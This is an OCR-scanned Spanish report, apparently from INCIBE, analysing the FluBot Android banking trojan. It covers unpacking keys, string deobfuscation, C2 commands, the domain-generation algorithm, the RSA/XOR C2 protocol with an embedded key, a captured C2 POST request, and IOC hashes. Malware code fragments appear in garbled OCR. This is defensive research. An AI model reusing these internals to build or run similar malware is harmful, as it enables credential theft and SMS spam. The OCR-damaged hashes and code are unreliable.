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1. Sobre este estudio

Este estudio contiene un informe técnico detallado, realizado tras el analisis de las
muestras encontradas en numerosas campafias detectadas que suplantan servicios de
mensajeria, con el objetivo de identificar la familia a la que pertenece este cédigo dafino,
y las acciones que realiza, para poder asi recabar la mayor informacion posible.

Las acciones llevadas a cabo para la elaboracion de este informe comprenden el analisis
estatico y dindmico de la muestra dentro de un entorno controlado. Cabe destacar que las
muestras analizadas se encontraban ya en la plataforma VirusTotal, lo que las convierte
en publicas y accesibles para cualquier analista que disponga de una cuenta de pago en
dicha plataforma.

Este estudio esta dirigido de forma general a los profesionales de Tl y de ciberseguridad,
investigadores y analistas técnicos interesados en el analisis e investigacion de este tipo
de amenazas. También puede resultar de especial interés para aquellos usuarios que
utilicen dispositivos Android.

En cuanto a la metodologia seguida, las tareas de reversing se han realizado con Android
Studio (Emulator), JADX, dex2jar y BURP Suite.
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2. Organizacion del documento

Este documento consta de una parte 3.- Introduccién en la que se identifica a FluBot, el
cbdigo dafiino objeto de este estudio, exponiendo su alcance y la situacion actual de las
campafias de ciberataques, asi como una breve explicacion de su comportamiento.

A continuacion, en el apartado 4.- Informe técnico, se recogen los resultados del andlisis
dinamico y estatico de las muestras de FluBot que han sido analizadas, partiendo de como
conseguir lainformacién que contiene el fichero con el que se va a trabajar, las capacidades
del malware y sus acciones, hasta sus técnicas de antideteccion, de antingenieria inversa
y de persistencia.

Finalmente, el apartado 5.- Conclusién, recoge los aspectos mas importantes tratados a lo
largo del estudio.

Adicionalmente, el documento cuenta con dos anexos, en el Anexo 1: Indicadores de
Compromiso (IOC) se recoge el indicador de compromiso (IOC), y en el Anexo 2: reglas
Yara una regla Yara, ambas para la deteccién de las muestras relacionadas con esta
campaia.
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3. Introduccion

Entre finales de 2020 y principios de 2021 han sucedido diferentes campafas de SMS
fraudulentos que avisan de la recepcién de un paquete suplantando a diferentes empresas
logisticas, como FedEx, DHL o Correos e invitan al receptor del mensaje a instalar una
aplicacion en su dispositivo movil con el incentivo de que éste pueda conocer el paradero
del paquete.

Tras el estudio realizado sobre tres muestras diferentes asociadas a estas campafias, se
ha identificado al codigo dafiino como FluBot. Un nombre otorgado a este troyano para
dispositivos Android debido a lo rdpido que se ha expandido, como si de un virus del
resfriado se tratara. También es nombrado por la comunidad como Fedex Banker o
Cabassous.

Segun las investigaciones de la empresa suiza PRODAFT, se estima que FluBot podria
haber infectado a mas de sesenta mil terminales y listar unos once millones de nUmeros
de teléfono, una cifra que corresponde con el 25% de la poblacion total espafiola.

En cuanto a la funcionalidad del cddigo dafiino, una vez que el usuario instala la aplicacién
en su dispositivo, ésta comienza a rastrear los identificadores de todas las aplicaciones
que vaya iniciando éste y tiene la capacidad de inyectar paginas superpuestas cuando
detecte un inicio de sesion en una de las aplicaciones objetivo, de forma que el usuario
piensa que estd introduciendo las credenciales en la web original cuando, en realidad, las
estd enviando al servidor de mando y control (C2) controlado por los operadores del cédigo
dafiino.
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4. Informe técnico

A continuacion, se detalla la informacion obtenida durante el andlisis de las muestras.

4.1. Informacién general

Los archivos analizados consisten en ficheros asociados a aplicaciones del sistema
operativo movil Android, tal y como revela el comando file de Linux, tanto paquetes APK
como codigo Java (JAR), que es el lenguaje de programacion en el que se crean éstas. En
cualquier caso, todos ellos se tratan de paquetes comprimidos en el formato ZIP.

fedex.apk: Zip archive data, at least v2.0 to extract
fedex2.apk: Java archive data (JAR)
fedex3.apk: Java archive data (JAR)

Las firmas de las muestras analizadas son las siguientes:

Algoritmo Hash
6d879ac01f7a26d62b38d9473626a328
SHA1 c6clc23f2f2bb4a239f447a9a67f080bdfe3ccc2

SHA256 96912417e5bd643b71dcch527c93046f83c9¢c3325392bdc7dac8587a6b1e9¢c50

Tabla 1. Detalles de la muestra 1 de codigo malicioso.

Algoritmo
MD5 4125019bb3370f1f659f448a5727357¢

SHA1 dee560898a292406fc5a06126687ble725b48ade
SHA256 ffeb6ebeace647f8e6303beaee59d79083fdba274c78e4df74811c57c7774176

Tabla 2. Detalles de la muestra 2 de codigo malicioso.

Algoritmo
MD5 7b4fd668a684e9bb6d09bcf2ebadfdd2

SHA1 0cf039f61e1c32f0f8e6ed0bad110dd2797dflee
SHA?256 9a5febfae55bae080acdb3f5f4a9ad2869fbd5d2c8b0af51fb34efc87d4093d8

Tabla 3. Detalles de la muestra 3 de codigo malicioso.

4.2. Resumen de acciones

El cédigo dafiino es capaz de realizar lo siguiente:

®m  Escuchar notificaciones.

Leer y escribir mensajes SMS.

Obtener el listado de contactos del dispositivo.
Realizar llamadas.
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B Sistema de injects para el robo de datos de inicio de sesidn de aplicaciones.
m Conexién con servidores C2 cifrada mediante criptografia asimétrica RSA.

4.3. Analisis detallado

Tras revisar la decompilacion del codigo fuente de las aplicaciones, se observa que éstas
se encuentran ofuscadas, ya que no se observa ningun cédigo legible, si no valores
aparentemente sin sentido a primera vista. Por tanto, se puede intuir que la aplicacion se
encuentra empaquetada y se esta ocultando el codigo real del codigo dafiino.

“New Project -jadxgui
Archivo Vista Navegacion Herramientas Ayuda

DB SHE

~eAbstractAppShell “ R x | e obfuse3.obfuse.anPsqsnaajBjkpawOpMakabs1bmOMbmos x | ©np.ApplicationCe@eoxbifddcff « |
-~eAbstractConsumerAppShell| 1package np; =
-eAlarmBroadcastReceiver 2
~eAppShell 3limport android.app.Application;
~eBusinessAppEducation 4import android.app.Instrumentation;
-eContactPicker 5|import android.content.Context;
-eContentDistributionRecip 6{import android.content.pm.ApplicationInfo;
.eConversation 7/import java.util.Arraylist;

s en 8 import n.bba2b2amnawgnoBlgM2bbmgssanpOPa;

- bba2b2amnawgnoB1gM2bbmgssi 9 :.meort n. oquqaaQnPloanaabaaalv.anP;
16 import n.wmaolksManaObagnbgpqjs;

eNPStringFog
-eogkBgaa9nPloanaabaaaMnOP
-ewmaolksManaObagnbgpqjs

11
12
13

import obfuse3.obfuse.anPsgsnaajBjkpawOpMakabs1bmOMbmos ;

* renamed from: np.B00€dxbldt6bIplia0003U3EEPLia060psidbbamBUliumnéBpenbilibsbliadééxa6mbpt

r&np 14 public class ApplicationC@eeexblfa4cff extends Application {
-eApplicationCeeeexblf4acff| 15
~©(C0001x2755380e | 16 /* renamed from: short reason: not valid java name */
-0 C0002xf2b16764 ‘ 17 private static final short[] f4short = {2450, 2502, 2501, 2455, 2457, 2498, 2919,

-eq9Mjgb2gaMabMoBP9sopBbOlaj
+sobfuse3.obfuse ‘ 19
~eanPsqsnaajBjkpawOpMakabs1t

/* renamed from: 66666bpsiBEdinbEIIBEBmMmEMpP30LisKkOmKxpp3Im36ap300368E030EE33pppsIEL
public String f5x802e474 = bba2b2amnawgnoBlgM2bbmgssanpOPa.m17jmagkaBaammlpwaMoabi

~eNPStringFog3
v Pgolg 22| public ApplicationCeeeexblfaacff() {
’ g 23 while (true) {

raorg . . 24 int i = 53011008 "~ 76000;
~snpci.commonlibrary 25 while (true) {
~=pjsip 26 switch (i) {

~mspongvcastle.icaice.provic

llustracion 1 . Vista del decompilado de una de las funciones de la aplicacién 1

Por otra parte, en el fichero AndroidManifest se observan los permisos que requieren estas
aplicaciones:

android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_NOTIFICATION_POLICY
android.permission.CALL_PHONE
android.permission.DISABLE_KEYGUARD
android.permission.EXPAND_STATUS_BAR
android.permission.FOREGROUND_SERVICE
android.permission.INTERNET
android.permission.NFC
android.permission.QUERY_ALL_PACKAGES
android.permission.READ_CONTACTS
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.READ_SYNC_SETTINGS
android.permission.READ_SYNC_STATS
android.permission.RECEIVE_SMS
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.SEND_SMS
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android.permission. WAKE_LOCK
android.permission.WRITE_SMS
android.permission. WRITE_SYNC_SETTINGS

Con estos permisos, la aplicacién seria capaz de realizar las siguientes acciones:

® Acceder a internet.

Leer y enviar SMS.

Leer la agenda de contactos del teléfono.
Realizar llamadas de teléfono.

Eliminar aplicaciones.

Acceder al servicio de “Accesibilidad”.

La ofuscacion observada es muy comin en las aplicaciones Android maliciosas.
Normalmente, se trata de una aplicacion que esconde un fichero cifrado, habitualmente
mediante RC4, que corresponde con el fichero de extensién .dex original, que es descifrado
en tiempo de ejecucion y cargado por la aplicacion. La dificultad, desde el punto de vista
del analisis, reside en localizar el fichero y la clave de descifrado, que son calculados
normalmente de forma dindmica.

La aplicacién 1 se encuentra protegida mediante el software APK Protector y el fichero que
contiene el cédigo original se encuentra dentro de la ruta assets/dex/classes-v1.bin.

{"ProtectKey' : *#R 2 18 §F 18 5 f 95 1 5 1 0 O 5F 18 96 1K $F 25 ¥R 28 FR 16 90 28 0F 28 4R B )

EHEFRFEHFERFEFEBEEFSHELAFERARATH + "R
ndroid-support-vé4.jar
/appconfig basic.json

internal d assets/dex/classe

t | es-vl.bi
password: > 3134 A

31

llustracion 2 . Descifrado estéatico del codigo original de la aplicacion 1

En el caso de las aplicaciones 2 y 3, se utiliza otro packer diferente, pero al igual que el
anterior, se basan en la misma l6gica de almacenar un fichero cifrado con RC4 en las rutas
assets/Uwmt.json y assets/Yd.json.

FINISHED. ..

internal dex: 'assets/Uwmt.json’
password: 'UdsfT'

cyberchef link: 'None'

llustracion 3 . Descifrado estatico del codigo original de la aplicacion 2

FINISHED. . .
internal dex:
password: "Crx

llustracion 4 . Descifrado estatico del codigo original de la aplicacion 3

ESTUDIO DEL ANALISIS DE FLUBOT TLP:WHITE




TLP:WHITE
/

$incibe_ (@) o ¢incibe-cert_

INSTITUTO NACIONAL DE CIBERSEGURIDAD

Tras descifrar los recursos de estas aplicaciones, se accede al codigo original.
Comparando el de las tres aplicaciones, parece que se trata del mismo codigo, aunque con
ciertas variaciones como el identificador del paquete o las cadenas de caracteres propias
de cada muestra, pero el analisis de una de ellas es suficiente para explicar el
comportamiento de esta familia de troyano.

= | n *fedex3 [/home] Documento
Archivo Vista Navegacion Herramientas Ayuda Archivo Vista Navegacién Herramientas Ayuda Archivo Vista Navegacién Herramientas Ayuda
[Clele] &) 28] [e]=] @ [E][#]  |Elelw @] [#]8] [<[=] [@][E] [#] [elef@] (o] [A]a] [e[=] (=] [E] [#]
< Tedex.apk_decrypted.dex - Tedex2.apk_decrypted.dex »Tedex3.apk_decrypted.dex s
,=Codigo fuente +=Codigo fuente s=Codigo fuente
-~gandroid.support.v4d -gandroid.support.v4d -~wandroid.support.v4
~sandroidx ~sandroidx -~sandroidx
¢ @ Ccom + @ Com »mcom L
-sgoogle.android.materia: 94example.myapplicationtest| +gexample.myapplicationtest
~eBot ~eBot
-eBot -~eBotId -oBotId
~eBotId -~eBrowserActivity ~oBrowserActivity
-~oBrowserActivity -eBuildConfig -~oBuildConfig M
-~oBuildConfig ~eCardActivity -oCardActivity
-~eCardActivity -~eComposeSmsActivity -oComposeSmsActivity
-0 ComposeSmsActivity ~eContactItem ~eContactItem
-~eContactItem -eContactListAdapter ~eContactListAdapter
-~eContactListAdapter ~©DGA -0 DGA
-oDGA -e ForegroundService ~eo ForegroundService
-o ForegroundService -eHeadlessSmsSendService -~oHeadlessSmsSendService
~eHeadlessSmsSendServic ~eHttpCom ~eHttpCom |
ﬁ ! [ ] ! JADX memory usi

llustracion 5. Comparacion de la estructura de clases de las tres aplicaciones tras el descifrado

Las clases que contienen el cédigo principal, que como puede verse, poseen nombres
bastantes descriptivos, se encuentran en paguetes con los identificadores com.tencent.mm
y com.example.myapplicationtest. Estas clases son las siguientes:

Bot LangTxt

Botld MainActivity
BrowserActivity MmsReceiver
BuildConfig MyAccessibilityService
CardActivity MyNotificationListener
ComposeSmsActivity PanelReq
Contactltem ProgConfig
ContactListAdapter R

DGA SmsReceiver
ForegroundService SmsThreadActivity
HeadlessSmsSendService SocksClient

HttpCom Spammer
IntentStarter Utils

Tras una busqueda simple, se identifica que el posible nombre dado por la comunidad a
este troyano es FluBot.
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"com.tencent.mm" android malware x !_, Q

@ Todo @ Noticias [ Imagenes [ videos Shopping i Mas  Configuracion  Herramientas

Aproximadamente 4.020 resultados (0,45 segundos)

www.adslzone.net ) Entradas » Virus v

Este troyano bancario para Android roba todos tus datos

15 oct 2016 — MeAfee detecta un nuevo troyano para dispositivos Android que roba datos
pago fiables, cuando los datos de este malware estan instalados en el dispositivo.
com.dropbox.android; com.tencent.mm; jp.naver.line.android

WWW. i jia.es » correos-tu-en te v
"CORREOS: Tu envio esta en camino ... - Diario Tecnologia
1 ene 2021 — .. con el control de tu mévil Android con un malware dificil de desinstalar.

Tras ello, escribiremos "pm uninstall -k ~-user 0 com.tencent.mm" y

www.xataka.com » seguridad » falso-sms-fedex-lleva-d... v

Flubot, el falso que SMS de Fedex lleva detras un sofisticado ...
hace 2 horas — Un virus para Android que nos puede defar sin...... En el comando hemos
incluido "com.tencent.mm" porque es el nombre intemo del paquete -

www.xatakandroid.com > analisis ) estafa-sms-uno-troy... ~
El troyano tras la estafa del SMS de FedEx, analizado a fondo ...
hace 7 dias — Este archivo recibe el nombre de FedEx.apk, y tiene un peso de entre 3.8 y 5.8

. He instalado todos los malware de Android: esto es lo que ocurre si te saltas ... "adb shell”;
Escribe el comando "pm uninstall com.tencent.mm’.

www.genbeta.com » seguridad » correos-tu-envio-esta-... v
“Tu envio esta en camino”: esta estafa SMS de Correos se ...

1 ene 2021 — Todos los peligrosos permisos con los que se hace Correos.apk ... identifique que
se trata de malware: no es una aplicacion de Comeos. ... Tras ello, escribiremos "pm uninstall -k
~-user 0 com.tencent.mm" y pulsaremos Enter .

www.xatakamovil.com » tutoriales > como-desinstalar-a...
Como desinstalar la app falsa de FedEx si has caidoen la ...
hace 5 dias — Este es un modo del que dispone Android, pensado principalmente para que

solo ... Eseribe "adb shell"; Escribe el comando "pm uninstall com.tencent.mm” ... Ha
desarrollado una app capaz de borrar por completo el virus,

llustracion 6 . Resultado de una basqueda sencilla en Google para tratar de identificar la familia a la
que pertenece el cédigo dafiino analizado.

Tras revisar el coédigo de la aplicacion, la Unica ofuscacién que parece contener tras
desempaquetarla es ocultar las cadenas de caracteres. Para ello, hace uso de una libreria
publica llamada paranoid del usuario MichaelRocks. El funcionamiento de esta libreria es
relativamente sencillo. En su interior se guardan las cadenas de caracteres cifradas y, para
obtener una de ellas, se utiliza un valor de tipo Long que, tras pasarselo a la funcion,
devuelve la cadena correspondiente.

Cl@ |5 Al | & B &
_oDGA i * eio.michaelrocks.paranoid.Deobfuscator$app$Release x
-eForegroundService 1|package io.michaelrocks.paranoid;
-~eHeadlessSmsSendService 2
- eHttpCom 3lpublic class Deobfuscator$app$Release {
.eIntentStarter 4 private static final String[] chunks;

5

;eLar)ngt‘ . 6 static {
~eMainActivity 7 String[] strArr = new String[2];
reMmsReceiver 8 chunks = strArr;
~eMyAccessibilityService 9 strarr[@] = "P—HT T JWR/AFEEM Axm adA  aape|egene ey
~eMyExceptionHandler 1@ strArr[1] = "% E g1 FEIAZINEHINL LR T ALk SAD— BT —J T —Jm i X AFfH S T X
~eMyNotificationListener 11 }
-ePanelReq 12
~eProgConfig 13 public static String getString(long j) {
.eR 14 return DeobfuscatorHelper.getString(j, chunks);
-eSmsReceiver 15 }
~eSmsThreadActivity 16}
~eSocksClient
-@Spammer
~eUtils

¢wio.michaelrocks.paranoid

-eDeobfuscator$app$Release

-eDeobfuscatorHelper

-2 0bfuscate

-e RandomHelper

llustracion 7 . Funcién que contiene las cadenas de caracteres cifradas.

Para poder descifrar las cadenas de caracteres basta con replicar el algoritmo utilizado e
ir indicando los diferentes niumeros que aparecen en el cédigo fuente.
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package io.michaelrocks.paranoid;

public class DeobfuscatorHelper {
public static fimal int MAX_CHUNK_LENGTH = @x1fff;

private DeobfuscatorHelper() {
// Cannot be instantiated.

¥

public static String getString(final long id, final String[] chunks) {
long state = RandomHelper.seed(id & @xffffffffl);
state = RandomHelper.next(state);
final long low = (state »>»» 32) & Bxffff;
state = RandomHelper.next(state);
final long high = (state »>»> 16) & @xffffeees;
final int index = (int) ((id »>> 32) * low ~ high);
state = getCharAt(index, chunks, state);
final int length = (int) ((state »»> 32) & @xfffflL);

final char[] chars = new char[length];

for (int i = @; i < length; #+i) {
state = getCharAt(index + i + 1, chunks, state);
chars[i] = (char) ((state »>> 32) & Oxffffl);

s

return new String(chars);

}

private static long getCharAt(final int charIndex, final String[] chunks, final long state) {
final long nextState = RandomHelper.next(state);
final String chunk = chunks[charIndex / MAX_CHUNK_LENGTH];
return nextState * ((long) chunk.charAt(charIndex % MAX_CHUNK_LENGTH) << 32);
¥
}

llustracion 8 . Algoritmo que descifra las cadenas de caracteres.

Mediante el descifrado de ciertas cadenas de caracteres y el analisis de ciertos bloques de
cbdigo, se extraen los comandos principales que puede recibir FluBot desde sus servidores
C2.

Comando
BLOCK

CARD_BLOCK

DISABLE_PLAY_PROTECT

GET_CONTACTS
NOTIF_INT_TOGGLE
OPEN_URL
RELOAD_INJECTS

RETRY_INJECT

RUN_USSD
SEND_SMS
SMS_INT_TOGGLE

SOCKS

ESTUDIO DEL ANALISIS DE FLUBOT

Descripcién
Bloquear notificaciones

Lanzar pagina de phishing de tarjeta de crédito

Desactivar Play Protect mediante el servicio de
accesibilidad

Enviar el listado de contactos de la agenda al C2

Activar la intercepcion de notificaciones

Abrir una URL dada mediante WebView

Volver a cargar la lista de injects

Volver a inyectar una aplicacion de la que ya se han
obtenido credenciales

Ejecutar la marcacion de un cédigo USSD

Enviar SMS a un numero de teléfono

Activar intercepcion de SMS

Abrir un socket para que el atacante pueda conectarse
a la red mediante un proxy SOCKS
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Desinstalar la aplicacion indicada mediante el nombre
de paquete

UNINSTALL_APP

UPLOAD_SMS Exfiltrar el contenido de un SMS al C2

Tabla 4. Listado de posibles comandos recibidos por el C2

Estos comandos son recibidos cuando el bot conecta con el servidor mediante una peticion
con el comando “PING”. El cédigo de FluBot tiene la capacidad de enviar los siguientes
comandos al servidor C2:

Comando Descripcion

Obtiene el listado de aplicaciones objetivo para realizar

GET_INJECTS_LIST . .
= = inyecciones

Obtiene el cédigo HTML correspondiente a una

GET_INJECT . -
= inyeccion

GET_SMS Obtiene el SMS de Phishing a enviar a una victima

Respuesta a la peticion de diferentes comandos junto

LOG ) N .
con la informacion solicitada

Contacto con el C2 para comprobar si es necesario

\[€] . .
ejecutar algin comando

PREPING Peticion inicial para registrar el C2

Obtener tiempo de retardo para el envio masivo de

SMS_RATE oMS

Tabla 5. Listado de posibles comandos enviados al C2

Ademas de poder realizar inyecciones en aplicaciones especificas, FluBot contiene codigo
que crea, bajo demanda del comando “CARD_BLOCK” una ventana que solicita los datos
de la tarjeta de crédito del usuario.

llustracion 9 . Creacion de la actividad responsable de capturar los datos de la tarjeta de crédito
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Mediante el comando “BLOCK”, se bloquean las notificaciones que reciba el dispositivo.

llustracion 10 . Cédigo responsable del bloqueo de las notificaciones que reciba el usuario

El cédigo dafiino posee la capacidad de realizar llamadas mediante cédigos USSD que
reciba desde el C2.

ibilityEvent, rootInActiveWindow)) {

runlssd

. "LOG", "RUN Us

llustracion 11 . Cédigo responsable del comando RUN_USSD

Mediante el uso de los permisos del servicio de accesibilidad, FluBot se puede convertir en
la aplicacién para la gestién de SMS por defecto y dotarla de la capacidad de enviar y
recibir mensajes bajo demanda del C2.
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llustracion 12 . Cédigo responsable de aceptar ser la aplicacion SMS automéaticamente mediante el
servicio de accesibilidad

Una vez infectado el dispositivo, FluBot envia la lista de contactos en la agenda del usuario
al C2.

llustracion 13 . Cdédigo responsable de obtener el listado de contactos

A partir de aqui, los operadores del C2 pueden decidir iniciar la operativa de SPAM,
enviando SMS a los contactos de la victima y, bloqueando posteriormente dichos nimeros
para evitar que el usuario infectado perciba un comportamiento fuera de lo normal.
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(context)) {

Send({"GET _SM5");

llustracion 14 . Cédigo responsable de enviar SMS de SPAM

A la hora de contactar con el C2, FluBot utiliza un algoritmo de generacién de dominios
(DGA) para obtener la direccion del servidor C2. El algoritmo genera alrededor de 2000
nombres de dominio en funcion del afio y mes actual con 15 caracteres seguido de los
TLDs “.com”, “.ru” y “.cn”, de forma que resulte mas complicado dar con la direccion del C2
valido.

llustracion 15 . Algoritmo de inicializacion del DGA
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or threadPoolExecutor
AtomicRe atomicReference At
atomicReference.set(
Random random R

string - string

) {
string
(i
string

string
arraylList. (str);

.shuffle(arrayList);
3 < arraylList.size(); i3++) {
(atomicReference, threadPoolExecutor t j) arraylist
string2 - Bot.GetConte 0t GetConte

t tex ng(R.string.app name), 6).getString("f"
string2 {
(atomicReference, threadPoolExecutor, string2, i3);
}
}
currentTimeMillis
threadPoolExecutor. shut
(atomicReference.get()
threadPoolExecutor.awaitT
(threadPoolExecutor.g

}

threadPoolExecutor . shutdownNow() ;
7 currentTimeMillis2 System.current
(atomicReference.get()
host = (5 7) atomicReference.get()

"FINISHED ->* ({(float) (currentTimeMillis2 - currentTimeMillis))

(
)

ace(

llustracion 16 . Algoritmo DGA

Ademas, los datos de la peticion al servidor se cifran mediante una clave publica RSA
incluida en el cadigo. En concreto, se cifran el identificador del bot calculado previamente
de forma aleatoria y una clave XOR, también aleatoria. Estos datos se mandan junto con
la informacion correspondiente que es cifrada mediante XOR con la clave aleatoria
mencionada.

9 = "%
secureRandom

( ; i<10; 1
string = string - ((char) (secureRandom.nextl]

(ant 12
bArr{i2]

Encrypt (bytes,
httpCom. SetPos
httpCom. SetP 5
(httpCom. S GetOutputString = httpCom.

decode - Base6s (
rypt(decode, bArr, )i

(decode, i

split[0].equals(str3)) {

tel1) BArr2.clone();
int 1~ 0; 1 < bArr.tength; 1)
Tength 1 ° bATT3. tengi;
(engtn Py
(int 12 - 0; 12 - bAre3.tengthi 1204) {
BArT3[i2) - (byte) (GATT3IA2] - (z b bATTIE

}
b - bArri];
bArr(i] - (byte) (bArr3[length] ~ bArr[i]);

) {

{
P generatePublic - KeyFact I ub X509EncodedKeySpec (Base64 (“MLIBIjANB:
i nstance - Cipher.getll
instance.init(1, generatePub!

e64. encodeToString (instar
{Excet ) {

llustracion 17 . Cédigo responsable de crear y enviar peticiones al servidor C2
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MIIBIJANBgkghkiGOWOBAQEFAAOCAQBAMIIBCgKCAQEAIQ3YWOM6YcmMruGB8b3
LqUiuXdxFYm/eBxAROAHC/9dC8c6agwdveSqj3/9hTOMSzTS/OsrYIIT6+ZmmmZrnOfb
B+FXq3pCG8/kM6ujvGxYOANfbGVIFCTONd+jKVHH1YhPT55aAY5K0COEACXoV+Tyyj
ReAtzC2xn4gl/tklOOfK2/17gaOluYLneGHRukImM/BVMvIg9st4lf6WYyntcX6RZtY 7Usks
TMWVhFOpzYILNO2b/FAPWjbgOPehZUqz8WGAUHFjuAX99c65nsYm1UTIlYypQXx3

KJMBeJr1Yr4VUkkPMRggAbKacWvgDywkJuYOchfz80m8a+8TVaojwIDAQAB

Tabla 6. Clave publica RSA para cifrar la conexién con el C2 encontrada en las tres muestras

Para comprobar si se trata del C2 vélido, el bot descifra la respuesta del servidor mediante
la clave XOR aleatoria establecida previamente vy, si el contenido de la primera parte de la
informacion corresponde con el ID del bot, lo marca como valido.

l6 http://faogedvhwghuokpd.ru POST /poll.php v 1

1 [ S P S S | S nACT
= -

{Request]

{Raw]Params[Headers]Hex}

POST /poll.php HTTP/1.1

Content-Length: 358

Content-Type: application/x-www-form-urlencoded

User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Android SDK built for x86 Build/QPP4.190502.018)
Host: aogedvhwghuokpd.ru

Connection: close

Accept-Encoding: gzip, deflate

BKOBbZqUepr/Vx58YIOJubbixyylTRzPaqgzewcKEZB+pXUpjDToie8Bu9IBsOtMCn70/hosfNmM6S0ge7x0Knz6fW+JZLOQ8n
X/xGgNzjgloutyl4EPJNUfagpW6tKeK]jsiCO1lp+AOpzecwKbWXE+jofmDfnP]80v8mIVZPWgzVXLBZqQUIiTePoCqlWIiQKLEV
25hKwLo3FRAfVMRpcISOLLMrksbS4p4DxZEZS)jLIFVIFQ8T+7tUcabiNSCcQv58g9XdNI9EVTQWTawvsQIfjuzt/8+GBe2u
ZgBRVWUXZLoOxrn+wwAajMQoktkrliobAUW2VI1pl/Ld06hdbNecUQ==

JzAvMyc5lks= |

llustracion 18 . Ejemplo de peticion enviada a uno de los dominios generados donde la primera

cadena Base64 corresponde con el cifrado RSA y la segunda con el comando cifrado con XOR

Una vez que el cédigo dafiino se inicia, solicita la activacion del servicio de accesibilidad
para la aplicacién, para lo cual se despliega una ventana.
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Action Required

To install you must turn on the
accessibility service for "FedEx".

Click "OK" to go 10 the settings and then
scroll until you find "FedEx" and click to
turn on the accessibility service.

If you do not find it click on
"Downloaded / Installed services” and

then click on "FedEx".

llustracion 19 . Ventana de inicio de la aplicacion

Una vez que el usuario concede estos permisos, FluBot obtiene la capacidad de llevar a
cabo la funcionalidad descrita en el andlisis como la ‘inyeccién’ o ‘desactivar Play Protect’.

Ademas, gracias a esto, adquiere los permisos de “Ignorar optimizacion de bateria” lo que
le permite iniciarse como un servicio en segundo plano y pasar desapercibido para el
usuario.

“, rootI

OPTIMIZATIONS");

llustracion 20 . Obtencion de permisos REQUEST_IGNORE_BATTERY_OPTIMIZATIONS

4.4. Técnicas de antideteccion y antingenieria inversa

Durante el analisis de la muestra se ha identificado el uso de empaquetadores para
proteger el codigo de la aplicacion original. No obstante, una vez extraido éste, la Unica
técnica de antingenieria inversa detectada es la de ofuscar las cadenas de caracteres de
la muestra, asi como la comunicacién con los servidores C2 mediante algoritmos RSA y
XOR.
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4.5. Persistencia

La muestra analizada se instala en el dispositivo y ademés es eliminada del listado de
aplicaciones instaladas, por lo que resulta complicado para el usuario darse cuenta de que
ésta estd corriendo una vez que se ha visto infectado y, por tanto poder desinstalarla.
Inicialmente, se utilizé un desarrollo externo llamado “malninstall” que tiene por objetivo la
desinstalacion de este cédigo dafiino en concreto y cuyo cédigo fuente puede consultarse
en el siguiente enlace: https://github.com/linuxct/malninstall.

Dado que el malware ha evolucionado y ahora previene el correcto funcionamiento de
“malninstall”, el autor de la herramienta ha desarrollado una nueva solucién que mitiga la
amenaza: https://linuxct.github.io/remove/. En ella, el usuario debe identificar, mediante
una herramienta de terceros como ML Manager, qué variante del malware esta instalada
en su dispositivo, asi como permitir la descarga del APK especifico a dicha variante. Tras
instalar el APK, el malware queda neutralizado, puesto que sustituye el cédigo en su
totalidad. Su codigo fuente puede encontrarse aqui: https://github.com/linuxct/remove.
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5. Conclusion

Tras el andlisis de las muestras aportadas, se ha podido extraer el codigo original
desarrollado por los creadores, asi como identificar la familia a la que pertenece, pudiendo
asi entender la naturaleza de su comportamiento. Adicionalmente, se ha generado una
regla Yara e I0C para poder prevenir y/o localizar otras muestras de esta familia.
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Anexo 1: Indicadores de Compromiso (I0OC)

A continuacion, se muestra una regla I0C preparada para la deteccion de esta muestra en
concreto:

<?xml version="1.0" encoding="us-ascii"?>

<ioc xmins:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmins:xsd="http://www.w3.0rg/2001/XMLSchema" id="2fc08336-8ad4-42d1-8014-6c919b98d158" last-
modified="2021-03-12T15:11:22" xmIns="http://schemas.mandiant.com/2010/ioc">

<short_description>FluBot</short_description>
<authored_by>Incibe</authored_by>
<authored_date>2021-02-26T08:20:13</authored_date>
<links />
<definition>
<Indicator operator="OR" id="433b1841-64ec-481e-bcdd-7225belbac74">
<Indicator operator="OR" id="5abccfea-70d5-47ec-926b-3d06adfae6c2">
<Indicatorltem id="cf74a6d3-b427-499b-b1f9-96038b100e0e" condition="is">
<Context document="Fileltem" search="Fileltem/Md5sum" type="mir" />
<Content type="md5">6d879ac01f7a26d62b38d9473626a328</Content>
</Indicatorltem>
<Indicatorltem id="67b0820c-0af1-4230-adb0-6ed432c4767d" condition="is">
<Context document="Fileltem" search="Fileltem/Shalsum" type="mir" />
<Content type="string">c6c1c23f2f2bb4a239f447a9a67f080bdfe3ccc2</Content>
</Indicatorltem>
<Indicatorltem id="14116b6a-1e39-4d3a-a8e1-78e4a320b0b5" condition="is">
<Context document="Fileltem" search="Fileltem/Sha256sum" type="mir" />

<Content
type="string">96912417e5bd643b71dcch527c93046f83¢c9¢3325392bdc7dac8587a6b1e9c50</Content>

</Indicatorltem>
</Indicator>
<Indicator operator="OR" id="9ad13f45-90e5-4a22-80d8-14863b5ch28a">
<Indicatorltem id="3e76ffba-4078-4e14-b073-2ae07246473c" condition="is">
<Context document="Fileltem" search="Fileltem/Md5sum" type="mir" />
<Content type="md5">4125019bb3370f1f659f448a5727357c</Content>
</Indicatorltem>
<Indicatorltem id="ae9bb826-ed84-4563-b9f4-d6b3ecdc68b4" condition="is">
<Context document="Fileltem" search="Fileltem/Shalsum" type="mir" />
<Content type="string">dee560898a292406fc5a06126687b1le725b48ade</Content>
</Indicatorltem>

<Indicatorltem id="fccaa584-b0e7-4666-99a6-b04cfbc95c9d" condition="is">
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<Context document="Fileltem" search="Fileltem/Sha256sum" type="mir" />

<Content
type="string">ffeb6ebeace647f8e6303beaee59d79083fdba274c78e4df74811c57c7774176</Content>

</Indicatorltem>
</Indicator>
<Indicator operator="OR" id="aec7ac46-8cb4-4a43-bd87-81e364588a03">
<Indicatorltem id="5cf7bd21-121f-4a6e-8ed4-c6807687b391" condition="is">
<Context document="Fileltem" search="Fileltem/Md5sum" type="mir" />
<Content type="md5">7b4fd668a684e9bb6d09bcf2ebadfdd2</Content>
</Indicatorltem>
<Indicatorltem id="81493614-b806-45cc-994c-e8a9d22b5235" condition="is">
<Context document="Fileltem" search="Fileltem/Shalsum" type="mir" />
<Content type="string">0cf039f61e1c32f0f8e6edObad110dd2797dflee</Content>
</Indicatorltem>
<Indicatorltem id="106afad9-88a8-4176-b9ea-0c3744fc6568" condition="is">
